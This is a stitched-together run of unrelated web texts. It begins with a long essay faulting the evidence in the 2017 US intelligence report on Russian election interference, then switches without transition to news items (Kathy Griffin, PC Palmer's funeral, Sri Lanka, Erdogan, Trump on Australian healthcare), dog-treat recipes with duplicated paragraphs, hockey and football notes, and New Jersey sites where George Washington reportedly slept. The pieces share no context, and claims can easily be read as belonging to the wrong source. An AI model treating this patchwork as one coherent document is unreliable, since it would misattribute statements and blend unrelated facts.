“We assess Russian President Vladimir Putin ordered an influence campaign in 2016 aimed at the US presidential election”; “Moscow’s influence campaign followed a Russian messaging strategy that blends covert intelligence operations—such as cyber activity—with overt efforts by Russian Government agencies, state-funded media, third-party intermediaries, and paid social media users or ‘trolls’”; “We assess Moscow will apply lessons learned from its Putin-ordered campaign aimed at the US presidential election to future influence efforts worldwide, including against US allies and their election processes.”
It is the first of these judgments that made headlines, so let us look at the evidence the document provides for this assertion. This evidence takes up just over a page and contains nine points. The first four make the argument that Putin wanted Hillary Clinton to lose. I will paraphrase for the sake of brevity and clarity:
Putin and the Russian government aimed to help Trump by making public statements discrediting Hillary Clinton; the Kremlin’s goal is to undermine “the US-led liberal democratic order”; Putin claimed that the Panama Papers leak and the Olympic doping scandal were “US-directed efforts to defame Russia,” and this suggests that he would use defamatory tactics against the United States; Putin personally dislikes Hillary Clinton and blames her for inspiring popular unrest in Russia in 2011-2012.
None of this is new or particularly illuminating—at least for anyone who has been following Russian media in any language; some of it seems irrelevant. (Though the report notes that the NSA has only “moderate confidence” in point number one, unlike the CIA and FBI, which have “high confidence” in it.) The next set of points aim to buttress the assertion that Putin “developed a clear preference for President-elect Trump over Secretary Clinton.” The following is an exact quote:
Beginning in June, Putin’s public comments about the US presidential race avoided directly praising President-elect Trump, probably because Kremlin officials thought that any praise from Putin personally would backfire in the United States. Nonetheless, Putin publicly indicated a preference for President-elect Trump’s stated policy to work with Russia, and pro-Kremlin figures spoke highly about what they saw as his Russia-friendly positions on Syria and Ukraine.
The wording makes it sound as though before June 2016 Putin had been constantly praising Trump in his public statements. In fact, though, Putin had spoken of Trump exactly once—when asked a question about him as he was leaving the hall following his annual press conference in December 2015. At that time, he said,
Well, he is a colorful person. Talented, without a doubt. But it’s none of our business, it’s up to the voters in the United States. But he is the absolute leader of the presidential race. He says he wants to shift to a different mode or relations, a deeper level of relations with Russia. How could we not welcome that? Of course we welcome it. As for the domestic politics of it, the turns of phrase he uses to increase his popularity, I’ll repeat, it’s not our business to evaluate his work.
Nothing in this statement is remarkable. At the time, Trump, who was polling well in the Republican primary race, was the only aspiring presidential candidate to have indicated a willingness to dial back US-Russian hostilities. The topic was clearly judged not important enough to be included in the main body of Putin’s more-than-four-hour press conference but deserving of a boilerplate “we hear you” message sent as Putin literally headed out the door.
The Russian word for “colorful”—yarkiy—can be translated as “bright,” as in a “bright color.” That must be how Trump came to think that Putin had called him “brilliant,” an assertion that the US media (and, it appears, US intelligence agencies) failed to fact-check. In June 2016, at the St. Petersburg Economic Forum, American journalist Fareed Zakaria, moderating a panel, asked Putin, “The American Republican presumptive nominee, Donald Trump—you called him ‘brilliant,’ ‘outstanding,’ ‘talented.’ These comments were reported around the world. I was wondering what in him led you to that judgment, and do you still hold that judgment?” Of the epithets listed by Zakaria, Putin had used only the word “talented,” and he had not specified what sort of talent he had seen in Trump. Putin reprimanded Zakaria for exaggerating. “Look at what I said,” he said. “I made an off-hand remark about Trump being a colorful person. Are you saying he is not colorful? He is colorful. I did not characterize him in any other way. But what I did note, and what I certainly welcome, and I see nothing wrong with this—Mr. Trump has stated that he is ready for the renewal of a full-fledged relationship between Russia and the United States. What is wrong with that? We all welcome it. Don’t you?” Zakaria looked mortified: he had been caught asking an ill-informed question. Putin, on the other hand, was telling the truth for once. As for the American intelligence agencies marshaling this exchange as evidence of a change of tone and more—evidence of Russian meddling in the election—that is plainly misleading.
The next two points purporting to prove that Putin had a preference for Trump are, incredibly, even weaker arguments:
Putin thought that he and Trump would be able to create an international anti-ISIS coalition; Putin likes to work with political leaders “whose business interests made them more disposed to deal with Russia, such as former Italian Prime Minister Silvio Berlusconi and former German Chancellor Gerhard Schroeder.”
Number 6 is puzzling. Nominally, Russia and the United States have already been cooperating in the fight against ISIS. The reference is probably to Putin’s offer, made in September 2015 in a speech to the UN General Assembly, to form an international anti-terrorist coalition that, Putin seemed to suggest, would stop the criticism and sanctions imposed in response to Russia’s war against Ukraine. Obama snubbed the offer then. Then again, this is my conjecture: the report contains no elucidation of this ascertainment of Putin’s motives. As for Number 7, not only is it conjecture on the part of the report’s authors, it is also anachronistic: Schroeder was a career politician before becoming a businessman with interests in Russia, as his term in political office was drawing to a close.
The final two arguments in this section of the report focus on the fact that Russian officials and propagandists stopped criticizing the US election process after election day and Russian trolls dropped a planned #DemocracyRIP campaign, which they had planned in anticipation of Hillary Clinton’s victory. (Notably, according to the intelligence agencies, whatever influence the Russians were trying to exert, they themselves seem to have assumed that Clinton would win regardless—and this is in fact supported by outside evidence.) The logic of these arguments is as sound as saying, “You were so happy to see it rain yesterday that you must have caused the rain yourself.”
That is the entirety of the evidence the report offers to support its estimation of Putin’s motives for allegedly working to elect Trump: conjecture based on other politicians in other periods, on other continents—and also on misreported or mistranslated public statements.
The next two and a half pages of the report deal with the mechanics of Russia’s ostensible intervention in the election. It confirms, briefly, earlier reports that the intelligence agencies believe that the hacks of the Democratic National Committee were carried out by an individual connected to the General Staff Main Intelligence Directorate (GRU). It also notes, without elaboration, that “Russian intelligence accessed elements of multiple state or local electoral boards,” though, according to the Department of Homeland Security, not the type of systems that are involved in vote tallying. And then the report goes from vague to strange: it lists the elements of Russia’s “state-run propaganda machine” that ostensibly exemplify the Kremlin’s campaign for Trump and denigration of Clinton. These include RT, the Russian English-language propaganda channel (as well as Sputnik, a state-funded online news site); a Russian television personality; and a fringe Russian politician named Vladimir Zhirinovsky. According to the report:
Pro-Kremlin proxy Vladimir Zhirinovsky, leader of the nationalist Liberal Democratic Party of Russia, proclaimed just before the election that if President-elect Trump won, Russia would “drink champagne” in anticipation of being able to advance its positions on Syria and Ukraine.
In the Russian political sphere, Zhirinovsky is far from the mainstream. A man who has advocated mobilizing the Russian military to shoot all migratory birds in order to prevent an epidemic of bird flu, he is a far-right comic sidekick to the Kremlin’s straight man. Dictators like to keep his kind around as reminders of the chaos and extremism that could threaten the world in their absence. In Hungary, for example, the extremist Jobbik party allows Prime Minister Viktor Orbán to look moderate in comparison. The particular statement about drinking champagne was made during a televised talk show in which several Russian personalities get together to beat up rhetorically on a former insurance executive named Michael Bohm, who has fashioned a career of playing an American pundit on Russian TV. Here is the exchange that preceded Zhirinovsky’s promise to drink champagne:
They threaten to cut Russia off from international financial systems. They can do that! But then we won’t give America a single dollar back. That’s hundreds of billions of dollars! Hundreds of billions! If they cut us off, they cut off the repayment of all our debts. Hundreds of billions! They are not dumb, so they’ll never do it. Never. As for the arms race, sometimes we are ahead and sometimes they are. We’ve got parity. But there is another danger to America. They have a hundred nuclear power stations. And we can reach all of them. And the destruction of a single nuclear power station kills every living thing on a territory of five hundred thousand square kilometers. That’s fifty million square kilometers. But all of America is just ten million square kilometers. So a single explosion will destroy America five times over. Same thing with us. But our stations are on the fringes. Theirs are in densely populated areas. So blowing up their nuclear reactors will kill more people in America. Plus, we have lots of empty space. So they have weighed it: Russia’s survival rates will be higher than America’s. More of them will die in case of nuclear war. Host: Remember you also told us about magnetic weapons that will make us stick to our beds and incapable of getting up? Zhirinovsky: Yes, there is that, too. [A brief exchange about the arms race between two other participants] Zhirinovsky: I hope that Aleppo is free of guerrilla fighters before November 8! Sergei Stankevich [a largely forgotten Yeltsin-era politician]: But then we have to think about what happens November 9, if we’ve already liberated Aleppo. Zhirinovsky: We are going to be drinking champagne to celebrate a Trump victory! [to Bohm] And to the defeat of your friend Hillary Clinton!
Remarkably, the report manages not only to offer a few words thrown out during this absurd exchange as evidence of a larger Russian strategy, but also to distort those words in the process: contrary to the report’s assertion, Zhironovsky made no mention of being able to advance Russia’s positions in Syria and Ukraine following a Trump victory. Of course, he could have—indeed, he could have said anything, given the tenor of the conversation. Whatever he said, it’s difficult to imagine how it could be connected to Russia’s ostensible influence on the American election.
Other evidence in this part of the report includes the statement, “Russian media hailed President-elect Trump’s victory as a vindication of Putin’s advocacy of global populist movements—the theme of Putin’s annual conference for Western academics in October 2016.” This statement is false. The theme of Putin’s annual conference, known as the Valdai Club, was “The Future Begins Today: Outlines of the World of Tomorrow.” The program reads like the program of the annual World Affairs Council conference in San Francisco—which last year, coincidentally, was called “Day One: The World That Awaits.” This is not to say that Putin has not supported populist movements around the world—he demonstrably has. But once again the particular evidence offered by the report on this point is both weak and false.
Finally, the bulk of the rest of the report is devoted to RT, the television network formerly known as Russia Today.
RT’s coverage of Secretary Clinton throughout the US presidential campaign was consistently negative and focused on her leaked e-mails and accused her of corruption, poor physical and mental health, and ties to Islamic extremism. Some Russian officials echoed Russian lines for the influence campaign that Secretary Clinton’s election could lead to a war between the United States and Russia.
In other words, RT acted much like homegrown American media outlets such as Fox News and Breitbart. A seven-page annex to the report details RT activities, including hosting third-party candidate debates, broadcasting a documentary about the Occupy Wall Street movement and “anti-fracking programming, highlighting environmental issues and the impacts on public health”—perfectly appropriate journalistic activities, even if they do appear on what is certainly a propaganda outlet funded by an aggressive dictatorship. An entire page is devoted to RT’s social media footprint: the network appears to score more YouTube views than CNN (though far fewer Facebook likes). Even this part of the report is slightly misleading: RT’s tactics for inflating its viewership numbers in order to secure continued Kremlin funding has been the subject of some convincing scholarship. That is the entirety of the case the intelligence agencies have presented: Putin wanted Trump to win and used WikiLeaks and RT to ensure that outcome.
Despite its brevity, the report makes many repetitive statements remarkable for their misplaced modifiers, mangled assertions, and missing words. This is not just bad English: this is muddled thinking and vague or entirely absent argument. Take, for example, this phrase: “Moscow most likely chose WikiLeaks because of its self-proclaimed reputation for authenticity.” I think, though I cannot be sure, that the authors of the report are speculating that Moscow gave the products of its hacking operation to WikiLeaks because WikiLeaks is known as a reliable source. The next line, however, makes this speculation unnecessary: “Disclosures through WikiLeaks did not contain any evident forgeries.”
Or consider this: “Putin most likely wanted to discredit Secretary Clinton because he has publicly blamed her since 2011 for inciting mass protests against his regime in late 2011 and early 2012, and because he holds a grudge for comments he almost certainly saw as disparaging him.” Did Putin’s desire to discredit Clinton stem from his own public statements, or are the intelligence agencies basing their appraisal of Putin’s motives on his public statements? Logic suggests the latter, but grammar indicates the former. The fog is not coincidental: if the report’s vague assertions were clarified and its circular logic straightened out, nothing would be left.
It is conceivable that the classified version of the report, which includes additional “supporting information” and sourcing, adds up to a stronger case. But considering the arc of the argument contained in the report, and the principal findings (which are apparently “identical” to those in the classified version), this would be a charitable reading. An appropriate headline for a news story on this report might be something like, “Intel Report on Russia Reveals Few New Facts,” or, say, “Intelligence Agencies Claim Russian Propaganda TV Influenced Election.” Instead, however, the major newspapers and commentators spoke in unison, broadcasting the report’s assertion of Putin’s intent without examining the arguments.
The New York Times called it “a strong statement from three intelligence agencies,” and followed its uncritical coverage with a story mocking Trump supporters for asking, “What’s the big deal?”
“How is it possible, if these intelligence reports are true, to count the 2016 Presidential election as unsullied?” asked New Yorker editor David Remnick in a piece published Friday. But since when has “unsullied” been a criterion on which a democratic process is judged? Standard measures include transparency, fairness, openness, accessibility to all voters and to different candidates. Anything that compromises these standards, whether because of domestic or external causes, may throw a result into doubt. But Remnick’s rhetorical question seems to reach for an entirely different standard: that of a process that is demonstrably free of any outside influence. Last month Paul Krugman at The New York Times railed, similarly, that the election was “tainted.” Democracy is messy, as autocrats the world over will never tire of pointing out. They are the ones who usually traffic in ideas of order and purity—as well as in conspiracy theories based on sweeping arguments and scant, haphazard evidence.
CNN has terminated our agreement with Kathy Griffin to appear on our New Year's Eve program. — CNN Communications (@CNNPR) May 31, 2017
Griffin has faced intense backlash over a photoshoot in which she was holding President Trump's severed head. The network announced it's cutting ties with Griffin in a tweet on Wednesday.
On Tuesday, CNN said it was "evaluating" the role the comedian played in the holiday coverage.
"We found what she did disgusting and offensive," the network said in a statement.
Griffin apologized Tuesday in a video posted on Twitter, saying she "crossed the line" and report she asked the photographer to take down the photo.
Making your own homemade doggie treats can be a fun activity and a healthy reeward for your beloved pekignese. There are lots of benefits in making your own dog treats instead of buying at the store.
You control the ingredients. You can ensure that he is getting a nutritious and fun snack. You control on what goes into the treat that you are making. You can also customize his treat according to his preference and his dietary restrictions.
You can ensure that he is getting a nutritious and fun snack. You control on what goes into the treat that you are making. You can also customize his treat according to his preference and his dietary restrictions. No unhealthy chemicals and additives. Most commercially made treats contain lots of preservatives in order to extend their products’ shelf life. Furthermore, treats bought from the stores are created out from byproducts and fillers rather than from natural and healthy ingredients. In creating your own homemade treats, you can be sure that his snack is tasty as well as healthy.
Most commercially made treats contain lots of preservatives in order to extend their products’ shelf life. Furthermore, treats bought from the stores are created out from byproducts and fillers rather than from natural and healthy ingredients. In creating your own homemade treats, you can be sure that his snack is tasty as well as healthy. A tasty option. Making your dog a treat would give him an option in eating a more tasty as well as nutrious treat from his usual dog biscuit treat from the grocery.
Homemade Doggie Treats
Ingredients – You have complete say in what goes into (and stays out of) your dogs’ treats. You can customize ingredients in your treats once you know the dog treat ingredients to avoid. Easy – We have simple recipes to choose from for those with little baking experience or little time. Easy dog treat recipes are also a great way to get kids involved in baking for the family dog. Size – Dogs come in various sizes and so do their tummies. When you bake your own treats you can size them to fit your needs. You can find many different sizes of dog cookie cutters to fit the theme of the season or event. Check out our dog biscuit recipes to see the fun shapes we have used like our bones, hearts, pumpkins, carrots, gingerbread men, and even turkeys! Special Needs – Is your dog in need of weight management, does she have dog food allergies or is he in need of dental care? If your dog has these or other special needs, you can bake the dog biscuits he requires. Source: Dog Treat Kitchen, http://www.dogtreatkitchen.com/
Easy Doggy Treat Recipes Suggestions
Leftover Mix
Go to your kitchen and go get all the leftovers from your refrigerator to make a more tasty trail mix which can be perfect for your hike or a snack for the dog park.
Ingredients:
Potatoes
Vegetables
Pieces of meat (rinse off any flavoring)
Fruits except grapes or raisins
How to:
Cut all the ingredients into 1/2 inch thick. Put a bit of cooking spray. Put it in a food dehydrator or inside a preheated (200 degrees) oven until dried. Design the mixture into your desired shape by using a food shaper.
Frozen Peanut Butter Treats
This snack would be a perfect treat when he is indulged in a vigorous play session.
Ingredients:
1 cup peanut butter
32oz vanilla yogurt
How to:
Using a microwave safe bowl, melt the peanut butter. Mix the melted peanut butter and yogurt. Pour the mixture into small cupcake papers and place in the freezer.
Simple Doggy Biscuit
Ingredients:
2 1/2 whole wheat flour (you can use oats or regular flour if he is allergic to wheat).
1 tsp or less of salt
1 egg
1/2 cup hot water
1 tsp. chicken/beef bouillon granules (you can use chicken/beef stock if you want).
Optional add ons:
liver spread, cheese, bacon bits, eggs, oats or wheat germ.
How to:
Preheat your oven (350 degrees) Dissolve the bouillon in hot water. Mix the remaining ingredients. Knead the dough-like mixture into a ball-shape. Roll the mixture until it is 1/2 inch thick. Using a cookie cutter, cut the mixture into bone shape or other shapes that you want. Place the pieces in a slightly greased cookie sheet and cook for 30 minutes.
Apple Pupcakes
A delicious and fruity treat that your pekingese will surely love.
Ingredients:
2 3/4 cups water
1/4 cup unsweetened applesauce
2 tbsp honey
1 medium egg
4 cups whole wheat flour
1/8 tbsp vanilla extract
1 tbsp baking powder
1 cup unsweetened dried apple chips
How to:
Preheat your oven (350 degrees). Mix the egg, applesauce, vanilla, water and honey in a bowl. Add the rest of the ingredients and mix it until it blends well. Pour the mixture in a slightly greased muffin pans and bake for 1 1/4 hours.
When preparing homemade doggie treats, see to it that you know what ingredients your pet is allergic to. By all means, avoid the ingredients that you know your pet has a history with. And if you are in the mood of experimenting flavors into his treat, try to give him small amounts first and observe how he will react to it until you give him all of the treats. Lastly, be sure to store your treats in an airtight container and freeze. Before giving the treat to your pekingese, try to thaw the treat for 10-20 minutes first. By freezing the treats, it can last upto 6 months.
The Canadiens had the day off on Friday before their huge tilt against the Bruins Saturday night. Montreal will be looking to widen the gap between the two clubs in the standings as Boston is just one point behind with a game in hand. It is likely that the Habs will go with the same line up as Thursday night’s win over the Jets. Perhaps Therrien will put in Dumont but, with the play of the fourth line, I see him standing pat. The only way the line up changes is if someone is ill, gets injured in morning skate or Plekanec can somehow play following his groin injury suffered on Wednesday.
News broke out regarding prospect Sebastian Collberg. According to Bodin, Collberg is headed to Montreal to be looked at for his concussion symptoms. If he is cleared, he should be signing an Amateur Tryout contract to play a few games with the Hamilton Bulldogs before their season is complete. Sebastian did sign an extension with Frolunda for next year so we will have to wait on seeing the kid full-time in North America.
The Bulldogs were in action against the Rampage where they finished off the night with a win. Charles Hudon and Danny Kristo made their professional debuts as well. Hudon put two shots on goal while Kristo recorded his first point (an assist), one shot and had a +1 rating. Nokelainen, Holland, Belzile and Beaulieu (shorthanded) would score for the Bulldogs to take a 4-2 victory. Mayer picked up the win and first star of the match.
Prospect Update:
Temporary concrete barriers were set up at key junctions near London Bridge and Southwark Bridge, completely closing a 2km square area to traffic.
The 48-year-old was stabbed to death by Westminster attacker Khalid Masood as he carried out his duties on the cobbled forecourt of the Palace of Westminster.
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Thousands of police officers lined the route as his funeral cortege, led by the Metropolitan Police Colour Party and a "Black Guard" of mounted officers, left the palace, where his coffin laid in rest overnight.
His coffin then travelled along 2.6 miles of streets, avoiding the scene of last month's atrocity on Westminster Bridge, on its journey to Southwark Cathedral in central London.
A floral tribute left on top of the hearse read: "No 1 Daddy".
Around 50 members of Pc Palmer's family including his wife, child, mother and father, brother and sisters will attend the cathedral service, which will be led by the Dean of Southwark The Very Reverend Andrew Nunn and followed by a private cremation.
Met commissioner Cressida Dick, the first female head of Scotland Yard in its 188-year history, will also attend the funeral in her first public engagement in her new role.
The Met said more than 5,000 officers from the force and across the country were expected to gather in central London for the service and to line the route.
Columns of officers in dress uniform, many with service medals pinned to their jackets and wearing white gloves, lined up near the cathedral as on-duty colleagues involved in the large security operation stood guard.
Members of the public also began to line the barriers several hours before the service began.
Ahead of the service, Labour leader Jeremy Corbyn said of PC Palmer: "He was a lovely man, we all saw him every day when we went into the gates of Parliament.
"He was there with a smile, with a wave, always talking to tourists, always talking to visitors, always unbelievably polite and courteous - a real, good public servant of the people in Parliament.
"He died defending our Parliament."
Mr Palmer's family have previously thanked those who helped him in his final moments, saying: "There was nothing more you could have done."
Additional reporting by agencies
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Wolfsburg forward Max Kruse left a World Series Poker tournament with $110,000 of winnings, but left it in a taxi on the way home.
The 27-year-old had had bagged a hat-trick in a game against Hoffenheim the day before and continued his hot form on the poker table in Berlin.
Unfortunately for him, the striker left his hard-earned cash in a taxi and the police were unable to help.
But then another twist - Wolfsburg fined Kruse $38,000 for taking part in the tournament without permission from the club.
“You might be a private person as a footballer when you are in your bed,” said the club in a statement.
“At any other point, you are also an employee of the club.
Wolfsburg’s Max Kruse at the poker tournament. Source: Twitter
“We have explained to him what sort of behaviour we expect from our players. We can only hope that he has been taught a lesson and will change his behaviour.”
“I haven’t heard much about his horse being hidden here,” says Cathy Rowe, who moved to the Timothy Ball House, as it is known by the locals, with her family nine years ago. “But anybody who had a horse in the army would have been high up, so if there were any British spies around and they saw a horse, you knew there was somebody there to go after.”
An observation “During the Revolutionary War, while (General George) Washington had his troops stationed at Morristown, he frequently came to (the area) to witness the movements of the British near Elizabethtown and Staten Island, which could be seen in the distance,” according to a February 1916 account in the monthly magazine The Newarker. “On some of the occasions, Washington visited (the Balls) and there he passed the nights, and more than once, as a precaution, he stabled his horse in the kitchen, which had a stone floor.”
The Timothy Ball House is just one of many places across the Garden State to make the “George Washington Slept Here” claim, some more reliably documented than others. After all, portions of 14 counties throughout New Jersey were designated in 2006 as the “Crossroads of the American Revolution National Heritage Area.” Quite a few of the Revolutionary War’s pivotal battles were fought here (Trenton and Princeton, among them), as Washington and his Continental Army crisscrossed our state from 1776 to 1783.
Arguably the best known of Washington’s headquarters is the Ford Mansion in Morristown, now owned by the National Park Service as part of the Morristown National Historical Park. As the general’s bedraggled troops hunkered down at nearby Jockey Hollow during the brutal winter of 1779-80, Washington, five of his aides-de-camp, 18 servants and the occasional guard moved into the mansion. Wife Martha visited him there and Jacob Ford’s widow, Theodosia, and her four children remained in the house, as well.
“Unfortunately the unbending Mrs. Ford refused to yield two of four downstairs rooms, forcing the Washingtons to share the floor with her. The kitchen, in particular, was a scene of pure bedlam,” writes Ron Chernow in his Pulitzer Prize-winning biography, “Washington: A Life” (Penguin Books, 2011).
“Washington and his officers hosted four to five dances throughout the winter. At one of those dances, Betsey Schuyler and Alexander Hamilton met,” says National Park Service guide Kim Watts. “The Marquis de Lafayette also came to headquarters in the spring, bringing the word that the French were actually sending men and supplies.”
A few years prior, in January 1777, Washington and his weary army had retired to Morristown for the winter, following their crucial victories at Princeton and Trenton. The general was headquartered at Jacob Arnold’s Tavern on the Morristown Green from January to May of that year. (The tavern was relocated and later burned in 1918. A plaque commemorates its original location on the Green.)
In “This Glorious Struggle: George Washington’s Revolutionary War Letters” (Smithsonian Books, 2008), author Edward G. Lengel includes one of GW’s letters to an aide, which Lengel says, “provides a rare glimpse into daily life at the commander in chief’s headquarters.”
“I dare say you are better acquainted with our Wants than I am, but I shall mention two, which seem to be pretty severely felt at present — namely, Loaf Sugar and Tea,” writes Washington from Morristown on May 1, 1777. “If I was to add Wine, I believe I should not much err, and whilst you are in the humour of getting, I wish you would procure for me two pair of Brown thread Stockings for Boots.”
The Wallace House in Somerville was Washington’s headquarters from December 1778 until June 1779, with Martha again traveling from their Mount Vernon plantation in Virginia to join him. Among the reported who’s who of visitors to the Wallace House were Lord and Lady Stirling, Generals Nathanael Greene and Henry Knox and their wives, as well as Hamilton and the Marquis de Lafayette.
John Wallace, a successful Philadelphia merchant, received $1,000 for the use of his house and furnishings. New Jersey acquired the title to the Wallace house in 1947 and, according to the state’s historic preservation office, the house is “one of the best and most original examples of Georgian architecture in New Jersey.”
Following the Battle of Springfield, Washington and Hamilton (then a colonel in the Continental Army, later Washington’s Secretary of the Treasury) commandeered the modest home of Henry Doremus for two nights in June 1780, with the general occupying “the lower room at the east end of the house,” according to the Montville Township Historical Society.
“Washington usually chose the best house in the neighborhood for his headquarters,” author Craig Mitchell writes in “George Washington’s New Jersey: A Guide to the Crossroads of the American Revolution” (Middle Atlantic Press, 2003). “This little two room stone house was the best that he could find in what is now Towaco.”
Washington then moved on to the manor home of Dutch-born Dirck Dey in what is now mostly Wayne, which he occupied off and on for three months in 1780.
“When Washington moved the main body of his troops to the nearby Preakness Valley after the first battle of Springfield, Dey (pronounced Dye) invited him to use his home as headquarters,” writes Mitchell. “One legend has it that Washington moved here because of intelligence that he was about to be kidnapped in Morristown.”
Washington wrote his Farewell Orders to the Armies of the United States in October of 1783 while at Rockingham, the Rocky Hill farmhouse of Margaret Berrien, the widow of a prominent judge. “Before the Commander in Chief takes his final leave of those he holds most dear, he wishes to indulge himself a few moments in calling to mind a slight review of the past,” writes Washington, in announcing his retirement from military service.
And President-elect Washington spent the night of April 22, 1789, at the Cross Keys Tavern in Woodbridge on his way to his inauguration in New York.
The list of proclaimed Jersey sightings of GW in his nightshirt goes on. The Hendrick Van Allen House in Oakland. The former Eagle Tavern in Newark. The Luke Miller House in Madison. Judge Peter Zabriskie’s Mansion House in Hackensack. The John Van Doren House in Millstone. He headquartered in Chatham, in Pompton Plains, in Trenton, in Englishtown.
Begging the question — where DIDN’T he sleep?
Liberty Hall “is one of the places Washington did not stay the night. That’s one of the jokes,” says Bill Schroh, director of museum operations at Liberty Hall, the former home of William Livingston, New Jersey’s first elected governor.
George did, however, pay a visit to Liberty Hall in May 1789 to collect his wife, who had spent the night there on her way to meet up with her husband, the newly inaugurated president of the United States.
“(Martha) was not at the original inauguration in April. She was still down in Mount Vernon, packing,” Schroh says. “She came up a month later in May and had her own triumphant march from Mount Vernon to New York, known as Lady Washington. She stopped and stayed and was feted at all the major places and cities. Rumor has it that (Liberty Hall) was her last stop before George picked her up in the morning and headed to New York.”
Back at the Timothy Ball House in Maplewood, Cathy Rowe has spent a considerable amount of time researching — with the help of a friend who has a doctorate in American History — the “George Slept Here” claim associated with her house.
“George Washington was actually a fugitive. If he was caught by the British, he would have been hung for treason. So he never wrote down where he stayed,” Rowe says. “He probably did come here but it’s not documented. It would make a lot of sense that he came here. He was in this area a lot, there were very few houses and he knew this house was on his side.”
Nor is it documented, Rowe says, that Washington was a third cousin of Timothy Ball, as some have claimed.
“It was more likely he came to the house because he knew the sons were soldiers (in the Continental Army),” says Rowe. “He (might have) said ‘Your name is Ball? My mother’s name was Ball. Maybe we’re related.’” There’s no trace that they’re related. I don’t know if it was ever sorted out officially.”
He’s worked with tons of stars, had some amazing hit singles and has the awards to prove it. Not to mention a voice that’s a mix between Fergie and Jesus!
We’re talking about Nate Ruess of Fun!
Even though Fun. is currently on hiatus, you can’t stop this hurricane from making another smash hit. Nate popped by the Blake & Wylde Show to chat with us about his love of the Raptors, working with P!nk, and even played us his new solo single, ‘Nothing Without Love’, which is available now on iTunes.
If you need a new album that makes you sing as loud as you can in your car, Nate’s album, Grand Romantic, drops June 16th!
Check out some of the interview that just aired on KiSS 92.5!!
Watch Nate’s full interview with Adam Wylde below!!
Make sure to follow Nate on Twitter, like him on Facebook, and check out his website.
Sri Lanka’s President Mahinda Rajapaksa remained defiant in the face of intensifying calls for an independent war crimes investigation this week. United Nations High Commissioner for Human Rights Navi Pillay recommended in a Feb. 24 report that an independent, international inquiry be launched into alleged human rights violations in 2009, during the final phase of Sri Lanka’s long and bloody civil war against ethnic Tamil separatists.
Speaking to TIME and a handful of other news outlets in Colombo on Friday, Rajapaksa insisted “no one knows why” the West is pushing for the investigation. “We are convinced there are various hidden agendas,” said Rajapaksa, who has been if office since 2005. He has long insisted his administration is being bullied by western powers over how it has handled its post-war reconstruction and reconciliation efforts.
“It is like Cassius Clay fighting a school boy,” the president said. But, he added, “they can’t knock us down.”
Pillay’s report says that Rajapaksa’s government has “failed to ensure independent and credible investigations” into human rights violations and possible war crimes, despite the fact that new evidence continues to emerge about the last stages of the war. She also raised concerns over “the continuing trend of attacks on freedom of expression [in Sri Lanka], peaceful assembly and association… and continued militarization.”
The scathing report comes a few months after Colombo hosted the biennial meeting of Commonwealth nations, an event that Canada’s Prime Minister Stephen Harper boycotted and that Indian Prime Minister Manmohan Singh declined to attend. U.K. Prime Minister David Cameron did attend the summit, but used the occasion to visit the island’s war-ravaged north in what many considered a rebuke to his host. On Feb. 28, British Foreign Office Minister Hugo Swire released a statement welcoming Pillay’s report. Swire said his office shares “her concerns about the human rights situation in Sri Lanka and the lack of progress on accountability” and “strongly support[s] her call for an international investigation.”
The United Nations Human Rights Council has passed two U.S.-backed resolutions calling for the government to investigate war crimes allegedly committed by both the military and the Liberation Tigers of Tamil Eelam (LTTE) during the last phase of the nation’s decades-long civil war. Washington is expected to support a third, tougher resolution next month at a meeting of the UN Human Rights Council that would back Pillay’s recommendation.
Erdogan continued to ratchet up his rhetoric against the Jewish State over its offensive, threatening to further harm to already badly frayed relations between the two countries, once regional allies.
Hours earlier Israel advised its citizens against traveling to Turkey, citing "the public mood" after attacks on Israeli diplomatic missions during protests in Istanbul and Ankara against the Gaza offensive on Friday.
Palestinian officials say more than 330 people have been killed by Israeli strikes launched in response to rockets fired into Israeli territory by militants loyal to the Islamist group Hamas.
"(Israelis) have no conscience, no honor, no pride. Those who condemn Hitler day and night have surpassed Hitler in barbarism," Erdogan told supporters at a political rally in the Black Sea city of Ordu.
He accused the United States of defending Israel's "disproportionate" tactics, and bemoaned the failure of the Muslim world to take a stronger stance.
But Erdogan did warn his supporters against taking their anger out on the country's Jewish population.
"I don't approve of any (bad) attitude towards our Jewish citizens in Turkey, despite all this. Why? They are the citizens of this country," he said. Around 17,000 Jews live in Turkey.
Protesters have taken to the streets of the NATO member's two biggest cities for the last two nights, and were due to return later on Saturday. Local media reported an explosion of pro-Hitler tweets and some liberal Turks reacted with outrage on Twitter when a pro-government newspaper printed a Hitler-themed crossword.
On Friday U.S. representative Eliot Engel urged Erdogan to act after the same newspaper published an open letter calling on Turkish Jews to apologize for civilian casualties in Gaza.
"The disgusting letter published by the Turkish newspaper Yeni Akit has no place in any society and only serves to put innocent lives in danger," Engel, the leading Democrat on the House Committee on Foreign Affairs, said in a statement.
Israel's Foreign Ministry said early on Saturday Israelis should "avoid non-essential visits" to Turkey or be especially vigilant and steer clear of anti-Israel demonstrations.
On Friday the ministry said it would pare back already an reduced staff at its embassy in Ankara and consulate in Istanbul. Erdogan is hoping to become Turkey's first directly elected president in polls due in August, and anti-Israeli sentiment flows strongly through the largely conservative Sunni Muslim voter base he will rely on to give him victory.
The two countries have seen their relations degrade sharply in recent years, reaching crisis point when Israeli commandos stormed the Turkish ship Mavi Marmara sailing as part of a flotilla challenging the Jewish state's naval blockade of Gaza. Ten people were killed.
Efforts to repair the damage had intensified in recent months after Israeli Prime Minister Benjamin Netanyahu apologized for the raid, but hopes of a rapprochement appear to be fading, after Erdogan said on Friday that relations between the two countries would not improve while he remained in post.
Trump's comments in a meeting with Australian Prime Minister Malcolm Turnbull came shortly after the commander in chief praised the GOP healthcare bill passed in the House earlier in the day.
"It's a very good bill right now. The premiums are going to come down very substantially. The deductibles are going to come down. It's going to be fantastic healthcare. Right now ObamaCare is failing; we have a failing healthcare," Trump said.
"Our great gentleman and my friend, from Australia ... you have better healthcare than we do," Trump added, turning toward Turnbull.
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Sen. Bernie Sanders Bernard (Bernie) SandersSenate Dems seek to turn tables on GOP in climate change fight Bernie Sanders Town Hall finishes third in cable news race, draws 1.4 million viewers Woman to undecided Biden: 'Just say yes' to 2020 bid MORE (I-Vt.) seized on Trump's remarks about the Australian system, which consists of both public and private markets, with its publicly funded universal healthcare system working alongside medical services provided by the private sector.
"That's great. Let's take a look at the Australian healthcare system. Maybe he wants to take a look at the Canadian healthcare system or systems throughout Europe," Sanders, an advocate of a single-payer system, told MSNBC's Chris Hayes.
"Thank you, Mr. President. Let us move to a Medicare-for-all system that does what every other major country on earth does — guarantee healthcare to all people at a fraction of the cost per capita that we spend. Thank you, Mr. President. We'll quote you on the floor of the Senate."
